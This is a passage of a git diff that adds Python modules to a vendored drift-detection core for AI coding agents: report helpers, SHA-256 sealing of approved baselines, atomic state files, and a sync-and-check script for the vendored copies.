tools`` or ``model: unknown`` states a measurement that was +never taken, and a reader who cannot tell "we did not check" from "we checked and +found nothing" will treat an absence as a pass. + +**A partial check is not a clean bill of health.** "Nothing added, nothing +subtracted" is only true of what was compared, so it is qualified whenever coverage +is incomplete. +""" + +from __future__ import annotations + +from collections.abc import Sequence + +from .seal import INTEGRITY_BROKEN, INTEGRITY_OK, INTEGRITY_UNSEALED + +__all__ = [ + "UNMEASURED", + "clean_verdict", + "measured_or", + "seal_section", + "unmeasured_footnote", +] + +#: Shown wherever a category was not measured. +UNMEASURED = "not measured this run" + + +def measured_or(value: object, measured: bool, hint: str | None = None) -> str: + """Render ``value`` when it was measured, and say so plainly when it was not.""" + if measured: + return str(value) + return "%s (%s)" % (UNMEASURED, hint) if hint else UNMEASURED + + +def unmeasured_footnote(complete: bool) -> list[str]: + """The line that stops an absent measurement reading as a verified absence.""" + if complete: + return [] + return [ + ' Categories marked "%s" are NOT part of this comparison.' % UNMEASURED, + " They are unchecked, not verified as empty.", + "", + ] + + +def clean_verdict(complete: bool, phrasing: str = "nothing added, nothing subtracted") -> str: + """A no-changes verdict, qualified when coverage was partial.""" + scope = "" if complete else " in the categories checked" + return " >> Verified: %s%s." % (phrasing, scope) + + +def seal_section(integrity: str, digest: str | None = None) -> list[str]: + """The baseline-integrity block, stated before any drift result. + + Ordering is the point. If the baseline was altered, a reassuring "nothing + changed" underneath it is worse than no result at all, so a caller renders this + above its drift section. + """ + lines = [" IS THE BASELINE ITSELF INTACT?", " " + "-" * 62] + if integrity == INTEGRITY_BROKEN: + lines += [ + " !! the baseline FAILED its integrity check. It was modified outside", + " this tool, so the comparison below is unreliable. Re-approve only", + " once you are satisfied the current setup is what you intend.", + ] + elif integrity == INTEGRITY_UNSEALED: + lines.append(" ~ baseline carries no digest (written by an older version). " + "Re-approve to seal it.") + elif integrity == INTEGRITY_OK: + lines.append(" >> baseline digest verified.") + if digest: + lines.append(" digest: %s" % digest) + lines += [ + " A digest stored beside the content catches corruption and a", + " hand-edit, not an attacker who owns this directory and can", + " recompute it. Compare the digest above against the one you", + " recorded off-box: that is what catches a silent re-baseline.", + "", + ] + return lines + + +def change_lines(changes: Sequence[dict]) -> list[str]: + """Render findings with a stable symbol per kind.""" + symbol = {"added": "+", "removed": "-", "changed": "~"} + return [ + " %s %s %s: %s" % (symbol.get(c["change"], "?"), c["change"].upper(), + c["what"], c["detail"]) + for c in changes + ] diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/seal.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/seal.py new file mode 100644 index 0000000..7b0f641 --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/seal.py @@ -0,0 +1,80 @@ +"""Baseline sealing: is the thing we compare against still what we wrote? + +The baseline is what every drift comparison is made against. An unsealed baseline +means anyone able to write it can add a component to the *approved* set, after +which the check reports "nothing added, nothing subtracted" indefinitely and +quietly. The evidence would share a fate with the adversary, which is the failure +this project exists to argue against. + +A note on what this is, because the obvious design is worse than it looks. The +first version used an HMAC with a secret stored beside the baseline. A scanner +flagged the stored secret, and the flag was worth more than a suppression: the +only adversary an HMAC defeats here is one who can WRITE the state directory +without being able to READ it. On a developer machine that adversary is close to +fictional, since anything that can write your home directory can read it and would +simply retag. The secret bought almost no coverage while adding a credential to +leak and a claim inviting a reader to assume more protection than exists. + +So: a bare digest. Same real coverage, nothing to steal. It catches corruption, +truncation and a hand-edit that does not recompute it. Neither a digest nor an +HMAC catches an attacker who owns the directory. + +The control that does survive that attacker is off-box. `approve` prints the +digest, `verify` prints the digest of the baseline it read, and a human who +recorded the first sees a silent re-baseline. That is where the security lives, so +this module keeps the cheap local check and the engines point at the real one. +""" + +from __future__ import annotations + +from .hashing import now_iso, sha_mapping + +__all__ = [ + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "attach_seal", + "check_seal", + "state_digest", +] + +#: Excluded from the digest it carries, since including it would be circular. +SEAL_FIELD = "integrity" + +INTEGRITY_OK = "ok" +INTEGRITY_UNSEALED = "unsealed" # no digest: written before sealing existed +INTEGRITY_BROKEN = "broken" # digest present and wrong: edited outside the tool + + +def state_digest(snapshot: dict) -> str: + """Digest of a snapshot's content, ignoring any seal it carries. + + Deterministic, so the value ``approve`` prints can be compared by eye against + the value ``verify`` prints later. + """ + return sha_mapping({k: v for k, v in snapshot.items() if k != SEAL_FIELD}) + + +def attach_seal(snapshot: dict) -> dict: + """Return a copy of ``snapshot`` sealed with a digest over its content.""" + return {**snapshot, SEAL_FIELD: { + "alg": "SHA-256", + "digest": state_digest(snapshot), + "sealed_at": now_iso(), + }} + + +def check_seal(snapshot: dict | None) -> str: + """Recompute the seal and compare. Never raises. + + Catches accidental corruption, truncation, and a hand-edit that does not + recompute the digest. Does not catch an attacker who owns the state directory, + who can recompute it as easily as this function can. + """ + if snapshot is None: + return INTEGRITY_UNSEALED + seal = snapshot.get(SEAL_FIELD) + if not isinstance(seal, dict) or not isinstance(seal.get("digest"), str): + return INTEGRITY_UNSEALED + return INTEGRITY_OK if seal["digest"] == state_digest(snapshot) else INTEGRITY_BROKEN diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/state.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/state.py new file mode 100644 index 0000000..c5e87c9 --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/state.py @@ -0,0 +1,76 @@ +"""Reading and writing engine state, and the paths it lives at. + +Baseline scoping differs by design and is not unified here. Claude Code keeps one +baseline per machine; Codex keeps one per workspace, because a workspace can carry +its own instructions and skills and a single baseline would blend them. Both are +correct for their agent, so an engine supplies its own paths and this module only +handles the reading and writing. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from dataclasses import dataclass +from pathlib import Path + +from .seal import attach_seal + +__all__ = ["StatePaths", "atomic_write", "load_state", "save_state", "save_baseline"] + + +@dataclass(frozen=True) +class StatePaths: + """Where one engine keeps its approved baseline and its latest snapshot.""" + + baseline: Path + latest: Path + + +def atomic_write(path: Path, content: str) -> None: + """Write via a temporary file and replace, so a crash cannot truncate state. + + A half-written baseline is worse than a missing one: the engine would treat it + as corrupt on every future session, and a user who sees a broken check often + enough stops reading it. + """ + path.parent.mkdir(parents=True, exist_ok=True) + handle, tmp_name = tempfile.mkstemp(dir=str(path.parent), prefix=path.name, suffix=".tmp") + tmp = Path(tmp_name) + try: + with os.fdopen(handle, "w", encoding="utf-8") as fh: + fh.write(content) + fh.flush() + os.fsync(fh.fileno()) + os.replace(tmp, path) + except BaseException: + tmp.unlink(missing_ok=True) + raise + + +def save_state(path: Path, value: dict) -> None: + atomic_write(path, json.dumps(value, indent=2)) + + +def save_baseline(path: Path, snapshot: dict) -> dict: + """Seal a snapshot and write it as the approved baseline. Returns what was written.""" + sealed = attach_seal(snapshot) + save_state(path, sealed) + return sealed + + +def load_state(path: Path) -> dict | None: + """Load a state file, or None if it is absent, unreadable, or corrupt. + + A truncated baseline (crash mid-write, disk full, racing sessions) must not + brick the hook on every future session. Treating corrupt state as absent lets + the next run re-establish it instead of failing forever. + """ + if not path.is_file(): + return None + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + return data if isinstance(data, dict) else None diff --git a/scripts/sync_vendored_core.py b/scripts/sync_vendored_core.py new file mode 100644 index 0000000..34fa261 --- /dev/null +++ b/scripts/sync_vendored_core.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""Copy agentrust-capture-core into each engine's ``_vendor`` directory. + +The engines are invoked by shell hooks at session start, by absolute path, before +anything is installed. So the core cannot be a plain runtime dependency: a user who +installs the Claude Code plugin and nothing else must still get drift detection. +Each engine therefore prefers the installed package and falls back to a pinned +vendored copy. + +That leaves the copies free to drift, which is the failure this whole exercise is +meant to end. So the copies are generated, never hand-edited, and CI asserts they +match the package byte for byte. + + python scripts/sync_vendored_core.py # write the copies + python scripts/sync_vendored_core.py --check # verify, exit 1 on drift +""" + +from __future__ import annotations + +import argparse +import filecmp +import shutil +import sys +from pathlib import Path + +REPO = Path(__file__).resolve().parent.parent +SOURCE = REPO / "packages" / "agentrust-capture-core" / "src" / "agentrust_capture_core" + +#: Engines that vendor the core, as directories that will each hold +#: ``_vendor/agentrust_capture_core``. +ENGINES = ( + REPO / "claude-code" / "engine", + REPO / "plugins" / "agentrust-codex" / "engine", + REPO / "scheduled-agents" / "engine", +) + +HEADER = """# Generated by scripts/sync_vendored_core.py. Do not edit. +# +# Pinned copy of agentrust-capture-core, used when the package is not installed. +# The engines run from shell hooks before anything is installed, so this fallback +# is what makes drift detection work on a bare plugin install. Edit +# packages/agentrust-capture-core and re-run the sync script; CI fails if this +# copy and the package disagree. +""" + + +def _targets() -> list[Path]: + return [engine / "_vendor" / "agentrust_capture_core" for engine in ENGINES] + + +def _source_files() -> list[Path]: + return sorted(SOURCE.glob("*.py")) + + +def write() -> int: + for target in _targets(): + target.mkdir(parents=True, exist_ok=True) + for existing in target.glob("*.py"): + existing.unlink() + for module in _source_files(): + shutil.copy2(module, target / module.name) + (target / "VENDORED.md").write_text(HEADER, encoding="utf-8") + print("wrote %s (%d modules)" % (target.relative_to(REPO), len(_source_files()))) + return 0 + + +def check() -> int: + expected = {module.name for module in _source_files()} + failures: list[str] = [] + for target in _targets(): + if not target.is_dir(): + failures.append("%s is missing; run scripts/sync_vendored_core.py" + % target.relative_to(REPO)) + continue + found = {module.name for module in target.glob("*.py")} + for extra in sorted(found - expected): + failures.append("%s/%s is not in the package" % (target.relative_to(REPO), extra)) + for missing in sorted(expected - found): + failures.append("%s/%s is missing" % (target.relative_to(REPO), missing)) + for name in sorted(expected & found): + if not filecmp.cmp(SOURCE / name, target / name, shallow=False): + failures.append("%s/%s differs from the package" + % (target.relative_to(REPO), name)) + if failures: + print("Vendored core is out of sync:", file=sys.stderr) + for line in failures: + print(" - %s" % line, file=sys.stderr) + print("\nRun: python scripts/sync_vendored_core.py", file=sys.stderr) + return 1 + print("vendored core matches the package in %d engine(s)" % len(_targets())) + return 0 + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--check", action="store_true", + help="verify the copies match, without writing") + args = parser.parse_args() + if not SOURCE.is_dir(): + print("package source not found at %s" % SOURCE, file=sys.stderr) + return 1 + return check() if args.check else write() + + +if __name__ == "__main__": + sys.exit(main())